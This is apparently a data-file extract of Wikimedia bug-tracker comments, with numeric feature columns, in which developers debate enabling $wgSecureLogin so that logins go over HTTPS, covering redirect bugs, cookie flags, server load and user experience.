For people not subject to that kind of extreme case... many would feel more comfortable about the security of their account and the privacy of their information if they were logged in from a secure connection. If we can add this enhancement for people, we should.",,,1362682619,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-25,True,1.0,0.5,0.0,0.5,1.0,5.0,1.0,0.0,0.0,1.5,2.0,0.5,0.0,0.0,0.0,1.5,0.5,2.5,14.0,0.5,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,2.0,0.5,1.5,1.0,0.5,2.0,1.0,0.0,0.0,0.0,0.5,0.0,2.5,0.0,2.5,0.0,0.5,0.5,0.0,0.5,10.5,0.5,1.5,0.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,4.0,2.0,11.5,3.0,2.5,6.5,0.0,0.0,0.0,0.5,5.5,0.0,0.5,0.0,5.5,14.0,7.5,0.0,0.0,0.0,5.5,0.0,0.0,1.5,0.5,2.0,0.5,0.0,0.0,3.94,0.7,"**swalling** wrote:

(In reply to comment #33)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

You're assuming that all Wikipedia editors live in countries and do editing tasks that they would be comfortable transmitting to the public. That's not the case. Put yourself in the shoes of someone editing from Qatar or Beijing, and ask whether it would be a good thing to automatically direct such users to HTTPS. 

For people not subject to that kind of extreme case... many would feel more comfortable about the security of their account and the privacy of their information if they were logged in from a secure connection. If we can add this enhancement for people, we should."
187088,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #32)
> Logged-in users should be routed via HTTPS to Special:UserLogin and then stay
> there for however long they're logged in. A user preference (inside
> Special:Preferences) _may_ make sense to allow logged-in users to switch to
> HTTP, but the default should be HTTPS from login to logout. There's no need
> to
> have a checkbox on Special:UserLogin.

But why? There's no purpose to forcing all logged in users to be over HTTPS. It's not like they're transmitting sensitive information when editing Wikipedia.",,,1362681915,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-25,True,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,2.0,6.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,23.0,4.0,2.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,4.0,13.0,12.0,2.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,6.0,0.0,0.0,0.0,3.6923076923076925,0.7307692307692307,"(In reply to comment #32)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

But why? There's no purpose to forcing all logged in users to be over HTTPS. It's not like they're transmitting sensitive information when editing Wikipedia."
187083,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #31)
> Yeah, but what if the user wants to stay in HTTPS rather than go back to
> HTTP. Without the checkbox they no longer have an option to do so.

Logged-in users should be routed via HTTPS to Special:UserLogin and then stay there for however long they're logged in. A user preference (inside Special:Preferences) _may_ make sense to allow logged-in users to switch to HTTP, but the default should be HTTPS from login to logout. There's no need to have a checkbox on Special:UserLogin.",,,1362680438,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-25,True,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,18.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,17.0,0.0,2.0,6.0,0.0,0.0,0.0,1.0,9.0,0.0,1.0,0.0,1.0,18.0,9.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.67816091954023,0.7011494252873564,"(In reply to comment #31)
QUOTE
QUOTE

Logged-in users should be routed via HTTPS to Special:UserLogin and then stay there for however long they're logged in. A user preference (inside Special:Preferences) _may_ make sense to allow logged-in users to switch to HTTP, but the default should be HTTPS from login to logout. There's no need to have a checkbox on Special:UserLogin."
187079,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #30)
> And I think a fourth point might be ""get rid of the Special:UserLogin
> checkbox""
> (if that's not already included in the three points above). It's pretty bad
> user interface, I think. The default should just be sane.

Yeah, but what if the user wants to stay in HTTPS rather than go back to HTTP. Without the checkbox they no longer have an option to do so.",,,1362679034,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-25,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,2.0,2.0,6.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,2.0,18.0,10.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.2244897959183674,0.7755102040816326,"(In reply to comment #30)
QUOTE
QUOTE
QUOTE
QUOTE

Yeah, but what if the user wants to stay in HTTPS rather than go back to HTTP. Without the checkbox they no longer have an option to do so."
187074,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #24)
> So basically here is what needs to be fixed with $wgSecureLogin:
> * Actual functionality is fixed
> * HTTP cookie is set so user will be auto-redirected to HTTPS when logged in
> there.
> * Links on the HTTPS login page should be set to the protocol of where the
> user is coming from (I forget where, but there is a bug filed for this).

Did all of this happen before this got merged/deployed? :-/

And I think a fourth point might be ""get rid of the Special:UserLogin checkbox"" (if that's not already included in the three points above). It's pretty bad user interface, I think. The default should just be sane.",,,1362622818,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-25,True,1.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,8.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,5.0,2.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,5.0,2.0,18.0,1.0,1.0,10.0,0.0,1.0,0.0,1.0,6.0,0.0,2.0,0.0,4.0,8.0,8.0,1.0,2.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.7261904761904762,"(In reply to comment #24)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Did all of this happen before this got merged/deployed? :-/

And I think a fourth point might be ""get rid of the Special:UserLogin checkbox"" (if that's not already included in the three points above). It's pretty bad user interface, I think. The default should just be sane."
187070,Set $wgSecureLogin = true; on Wikimedia wikis,"I *think* the issue is that since centralauth is injecting the SUL images, then successfulLogin() calls displaySuccessfulAction() instead of executeReturnTo(). So I would bet the ""Return to..."" link was to an http link, but the rest of the links on the page were https since the page was still loaded over https.",,,1362611472,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-25,True,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,13.0,0.0,0.0,0.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,7.0,7.0,4.0,1.0,12.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,13.0,4.0,0.0,3.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.8955223880597014,0.6567164179104478,"I *think* the issue is that since centralauth is injecting the SUL images, then successfulLogin() calls displaySuccessfulAction() instead of executeReturnTo(). So I would bet the ""Return to..."" link was to an http link, but the rest of the links on the page were https since the page was still loaded over https."
187066,Set $wgSecureLogin = true; on Wikimedia wikis,"Yeah, I can't replicate the behavior on my test wiki, so maybe it's a configuration-specific bug?",,,1362599868,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-25,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,13.0,4.0,0.0,4.0,0.0,0.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.5652173913043477,0.9565217391304348,"Yeah, I can't replicate the behavior on my test wiki, so maybe it's a configuration-specific bug?"
187061,Set $wgSecureLogin = true; on Wikimedia wikis,"We decided to revert at the end because unchecking the box to keep the user in https didn't redirect them to http when this was running on the cluster. We may want to enable this on a smaller set of wikis, or beta, so we can debug why that is happening.

In addition, I noticed that the centralauth_Session cookie is getting set with the secure flag. We may want to change that as well.",,,1362592652,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-25,True,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,6.0,1.0,6.0,18.0,0.0,6.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,11.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,6.0,6.0,1.0,13.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,7.0,18.0,1.0,0.0,0.0,0.0,7.0,0.0,2.0,1.0,1.0,5.0,1.0,0.0,0.0,3.783132530120482,0.7108433734939759,"We decided to revert at the end because unchecking the box to keep the user in https didn't redirect them to http when this was running on the cluster. We may want to enable this on a smaller set of wikis, or beta, so we can debug why that is happening.

In addition, I noticed that the centralauth_Session cookie is getting set with the secure flag. We may want to change that as well."
187058,Set $wgSecureLogin = true; on Wikimedia wikis,"https://gerrit.wikimedia.org/r/52344

Was reverted shortly afterward. :P",,,1362588943,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-25,True,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.25,1.0,"GERRIT_URL

Was reverted shortly afterward. :P"
187054,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #11)
> https://gerrit.wikimedia.org/r/21322

Merged and deployed by Chris this morning.",,,1362588628,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4210526315789473,1.0,"(In reply to comment #11)
QUOTE

Merged and deployed by Chris this morning."
187049,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #20)
> (In reply to comment #19)
> > (In reply to comment #18)
> >> experience, which is why I'd rather see effort focused on fixing bug 29898.
> > 
> > But does this change require any other effort besides the change of an existing
> > setting to true?
> 
> Err, right. I think I remember what's going on here now. So there's
> $wgSecureLogin, which basically changes the ""log in"" link to specify HTTPS. The
> user clicks ""log in"" and he or she logs in to HTTPS and the user will stay in
> HTTPS after successfully logging in.
> 
> However, when the user clicks one of the million HTTP links (in an e-mail, on a
> wiki page, on IRC, elsewhere on the Web), the user will not be automagically
> redirected to HTTPS, he or she will _stay_ at HTTP and he or she won't be
> logged in any longer. This is very disorienting. The user can click ""log in"" in
> the corner of the page, but he or she will be transferred to Special:UserLogin
> over HTTPS and suddenly the user will appear to be logged in again.
> 
> In short, the issue with just setting $wgSecureLogin to true is that the user
> experience kind of sucks, as I understand it. (Feel free to correct me if I've
> misread the $wgSecureLogin-related code!)
> 
> (I'm also not sure it actually prevents form submission over HTTP [if the user
> navigates to the HTTP version of Special:UserLogin directly].)
> 
> If this is an acceptable situation, it's fine to set $wgSecureLogin to true on
> Wikimedia wikis. You'll need to get an okay from Wikimedia Foundation
> operations (ops) first before the change can be deployed. The load spike from
> logging in over HTTPS should be minimal, but the load spike from users
> continuing to use HTTPS after logging in will be less negligible, I think. Ops
> will also wants a heads-up so that there isn't an unexplained load spike.

This is how $wgSecureLogin works, but is not how it should work. If you notice, enablind $wgSecureLogin adds a ""Stay on HTTPS"" checkbox to the login form. The intended functionality of wgSecureLogin is that all logins are put over HTTPS, and then the user is given back to whatever they were using before. I just tested this on my test wiki and it doesn't seem to do this, so that's probably a bug, but that's what's supposed to happen.

So basically here is what needs to be fixed with $wgSecureLogin:
* Actual functionality is fixed
* HTTP cookie is set so user will be auto-redirected to HTTPS when logged in there.
* Links on the HTTPS login page should be set to the protocol of where the user is coming from (I forget where, but there is a bug filed for this).",,,1346124757,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,0.3333333333333333,0.0,0.0,2.3333333333333335,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.0,6.0,8.666666666666666,0.0,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,7.0,1.0,0.6666666666666666,1.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,8.0,1.6666666666666667,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,3.3333333333333335,5.333333333333333,16.333333333333332,3.3333333333333335,1.6666666666666667,6.0,0.0,0.0,0.0,0.3333333333333333,3.3333333333333335,0.0,0.3333333333333333,0.0,3.0,8.666666666666666,12.333333333333334,0.0,0.6666666666666666,0.0,3.0,0.0,3.0,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,3.4454481581852856,0.5679514202549433,"(In reply to comment #20)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This is how $wgSecureLogin works, but is not how it should work. If you notice, enablind $wgSecureLogin adds a ""Stay on HTTPS"" checkbox to the login form. The intended functionality of wgSecureLogin is that all logins are put over HTTPS, and then the user is given back to whatever they were using before. I just tested this on my test wiki and it doesn't seem to do this, so that's probably a bug, but that's what's supposed to happen.

So basically here is what needs to be fixed with $wgSecureLogin:
* Actual functionality is fixed
* HTTP cookie is set so user will be auto-redirected to HTTPS when logged in there.
* Links on the HTTPS login page should be set to the protocol of where the user is coming from (I forget where, but there is a bug filed for this)."
187044,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #21)
> (In reply to comment #20)
> > In short, the issue with just setting $wgSecureLogin to true is that the user
> > experience kind of sucks, as I understand it. (Feel free to correct me if I've
> > misread the $wgSecureLogin-related code!)
> 
> For any users that notice the protocol, it may be disorienting, but I would
> guess most of our users don't really pay attention to it (hopefully I'm wrong
> about that!). But the win is that if they click the login link again, they'll
> be back using https before they enter their password again. That would be a
> step towards helping our users be more secure, even if we have plenty of other
> bugs to close too.

The problem there though is when they hit the login link they already end up logged in. But now they are sitting on a login page, already logged in, and with no way to bypass it and get back to the page they want to edit.

- If they notice they are already logged in they probably won't bother trying to log in again and will be completely confused. Not to mention that forcing someone to login when already logged in is a really ugly experience.
- If they try to hit back they will return to http:// and be completely completely confused as they are no longer logged in.

I think there are a few things we may want to do to improve the user experience.

Firstly we should probably introduce a http cookie for users who log into https. Basically a cookie saying that a user is logged in on https. When we see this cookie on the http version of a page we should immediately redirect them to the https page. This won't be for security but rather to improve the user experience.

Secondly we should probably deal with Special:Userlogin's behaviour. The act of a user ending up on a login page when logged in is really strange.

There may be some value to logging in while already logged in. But I believe the primary reason for this is a holdover from login and user creation being part of the same page, needing to visit login to get to create user, and admins wanting to be able to create users while logged in. Just like with create user being the same link as login.

In the long run we want create user and userlogin to be separate pages. And removal of ever having a combined login+register link, always have separate ones.

Right now I think we may want to introduce a &loginlink=1 parameter like we have for &redlink=1. We'll place this on our login link. And when specified this will have the effect of automatically redirecting you to your final destination when you are already logged in.

Combined these two things will have the effect of:
- When you're already logged in and see a http:// link you will end up back on https:// so you are properly sitting in the place where you are logged in.
- When you end up on http:// and the http cookie has disappeared and got out of sync with https clicking on the login link will land you right back on the page you were at, in the https version, already logged in, and also fix your cookie.",,,1346122112,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,0.3333333333333333,0.16666666666666666,0.5,0.8333333333333334,0.5,2.1666666666666665,1.6666666666666667,0.0,0.16666666666666666,0.3333333333333333,3.6666666666666665,0.6666666666666666,0.0,0.0,0.3333333333333333,2.1666666666666665,0.16666666666666666,9.0,14.166666666666666,0.16666666666666666,2.8333333333333335,0.5,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.5,1.1666666666666667,1.0,4.666666666666667,1.1666666666666667,0.16666666666666666,0.6666666666666666,2.0,0.0,0.0,1.6666666666666667,0.0,0.16666666666666666,1.8333333333333333,0.6666666666666666,0.8333333333333334,0.0,0.16666666666666666,0.0,0.0,0.16666666666666666,12.0,0.6666666666666666,0.5,0.16666666666666666,0.5,0.0,0.0,0.0,0.16666666666666666,0.8333333333333334,0.0,0.16666666666666666,1.6666666666666667,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,5.5,3.5,6.5,2.8333333333333335,3.1666666666666665,6.833333333333333,0.0,0.0,0.0,0.16666666666666666,6.5,0.3333333333333333,0.3333333333333333,0.0,6.166666666666667,14.166666666666666,3.3333333333333335,0.0,0.0,0.0,6.166666666666667,0.0,1.6666666666666667,2.1666666666666665,0.16666666666666666,2.0,0.16666666666666666,0.0,0.0,3.8562772877127323,0.6327408001425644,"(In reply to comment #21)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The problem there though is when they hit the login link they already end up logged in. But now they are sitting on a login page, already logged in, and with no way to bypass it and get back to the page they want to edit.

- If they notice they are already logged in they probably won't bother trying to log in again and will be completely confused. Not to mention that forcing someone to login when already logged in is a really ugly experience.
- If they try to hit back they will return to http:// and be completely completely confused as they are no longer logged in.

I think there are a few things we may want to do to improve the user experience.

Firstly we should probably introduce a http cookie for users who log into https. Basically a cookie saying that a user is logged in on https. When we see this cookie on the http version of a page we should immediately redirect them to the https page. This won't be for security but rather to improve the user experience.

Secondly we should probably deal with Special:Userlogin's behaviour. The act of a user ending up on a login page when logged in is really strange.

There may be some value to logging in while already logged in. But I believe the primary reason for this is a holdover from login and user creation being part of the same page, needing to visit login to get to create user, and admins wanting to be able to create users while logged in. Just like with create user being the same link as login.

In the long run we want create user and userlogin to be separate pages. And removal of ever having a combined login+register link, always have separate ones.

Right now I think we may want to introduce a &loginlink=1 parameter like we have for &redlink=1. We'll place this on our login link. And when specified this will have the effect of automatically redirecting you to your final destination when you are already logged in.

Combined these two things will have the effect of:
- When you're already logged in and see a http:// link you will end up back on https:// so you are properly sitting in the place where you are logged in.
- When you end up on http:// and the http cookie has disappeared and got out of sync with https clicking on the login link will land you right back on the page you were at, in the https version, already logged in, and also fix your cookie."
187035,Set $wgSecureLogin = true; on Wikimedia wikis,"I chatted with Ryan Lane briefly just now. There's no issue from ops' perspective to have logged-in users go over HTTPS. The current HTTPS infrastructure is over-provisioned and should be able to support logged-in users well.

However, Ryan agrees that the usability problem of currently not auto-redirecting from HTTP to HTTPS is rather nasty and he would also really like to see that addressed before this change is implemented.",,,1346120061,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-53,True,0.0,0.0,0.0,1.0,1.0,4.0,2.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,1.0,1.0,1.0,13.0,15.0,0.0,4.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,11.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,5.0,13.0,1.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,15.0,8.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.270588235294118,0.7529411764705882,"I chatted with Ryan Lane briefly just now. There's no issue from ops' perspective to have logged-in users go over HTTPS. The current HTTPS infrastructure is over-provisioned and should be able to support logged-in users well.

However, Ryan agrees that the usability problem of currently not auto-redirecting from HTTP to HTTPS is rather nasty and he would also really like to see that addressed before this change is implemented."
187030,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #19)
> >> experience, which is why I'd rather see effort focused on fixing bug 29898.

I don't think they're mutually exclusive. We need to do both.


(In reply to comment #20)
> In short, the issue with just setting $wgSecureLogin to true is that the user
> experience kind of sucks, as I understand it. (Feel free to correct me if I've
> misread the $wgSecureLogin-related code!)

For any users that notice the protocol, it may be disorienting, but I would guess most of our users don't really pay attention to it (hopefully I'm wrong about that!). But the win is that if they click the login link again, they'll be back using https before they enter their password again. That would be a step towards helping our users be more secure, even if we have plenty of other bugs to close too.",,,1346118011,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-53,True,0.5,0.0,0.0,0.0,1.0,3.5,2.5,0.0,0.0,1.5,1.0,3.0,0.0,0.0,0.0,4.5,0.5,7.5,10.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,6.5,1.5,1.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.5,1.0,0.0,0.0,0.0,0.5,0.0,11.0,1.5,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.5,0.0,0.5,0.0,3.0,3.5,7.5,2.5,1.5,5.5,0.0,0.0,1.0,1.0,7.0,0.0,1.0,0.0,9.0,10.5,0.5,0.0,0.0,0.0,9.0,0.0,0.5,1.0,0.0,2.0,1.0,0.5,0.0,3.467132867132867,0.7410256410256411,"(In reply to comment #19)
QUOTE

I don't think they're mutually exclusive. We need to do both.


(In reply to comment #20)
QUOTE
QUOTE
QUOTE

For any users that notice the protocol, it may be disorienting, but I would guess most of our users don't really pay attention to it (hopefully I'm wrong about that!). But the win is that if they click the login link again, they'll be back using https before they enter their password again. That would be a step towards helping our users be more secure, even if we have plenty of other bugs to close too."
187023,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #19)
> (In reply to comment #18)
>> experience, which is why I'd rather see effort focused on fixing bug 29898.
> 
> But does this change require any other effort besides the change of an existing
> setting to true?

Err, right. I think I remember what's going on here now. So there's $wgSecureLogin, which basically changes the ""log in"" link to specify HTTPS. The user clicks ""log in"" and he or she logs in to HTTPS and the user will stay in HTTPS after successfully logging in.

However, when the user clicks one of the million HTTP links (in an e-mail, on a wiki page, on IRC, elsewhere on the Web), the user will not be automagically redirected to HTTPS, he or she will _stay_ at HTTP and he or she won't be logged in any longer. This is very disorienting. The user can click ""log in"" in the corner of the page, but he or she will be transferred to Special:UserLogin over HTTPS and suddenly the user will appear to be logged in again.

In short, the issue with just setting $wgSecureLogin to true is that the user experience kind of sucks, as I understand it. (Feel free to correct me if I've misread the $wgSecureLogin-related code!)

(I'm also not sure it actually prevents form submission over HTTP [if the user navigates to the HTTP version of Special:UserLogin directly].)

If this is an acceptable situation, it's fine to set $wgSecureLogin to true on Wikimedia wikis. You'll need to get an okay from Wikimedia Foundation operations (ops) first before the change can be deployed. The load spike from logging in over HTTPS should be minimal, but the load spike from users continuing to use HTTPS after logging in will be less negligible, I think. Ops will also wants a heads-up so that there isn't an unexplained load spike.",,,1346114364,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-53,True,0.25,0.0,0.25,1.25,1.0,4.0,1.25,0.0,0.0,0.75,4.0,1.25,0.0,0.0,0.5,1.75,0.25,6.25,14.0,0.0,1.75,0.25,0.25,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.25,5.25,1.25,0.75,0.5,0.25,0.25,0.25,1.0,0.0,0.0,2.0,0.5,1.0,0.0,0.25,0.0,0.0,0.0,10.75,0.5,0.5,0.0,0.25,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.75,0.0,0.0,0.0,6.5,2.75,11.25,1.75,2.5,7.5,0.0,0.0,0.25,0.25,5.25,0.25,0.75,0.0,5.0,14.0,6.0,0.0,1.5,0.0,5.0,0.0,0.75,1.5,0.25,1.5,0.5,0.0,0.25,3.625,0.675,"(In reply to comment #19)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Err, right. I think I remember what's going on here now. So there's $wgSecureLogin, which basically changes the ""log in"" link to specify HTTPS. The user clicks ""log in"" and he or she logs in to HTTPS and the user will stay in HTTPS after successfully logging in.

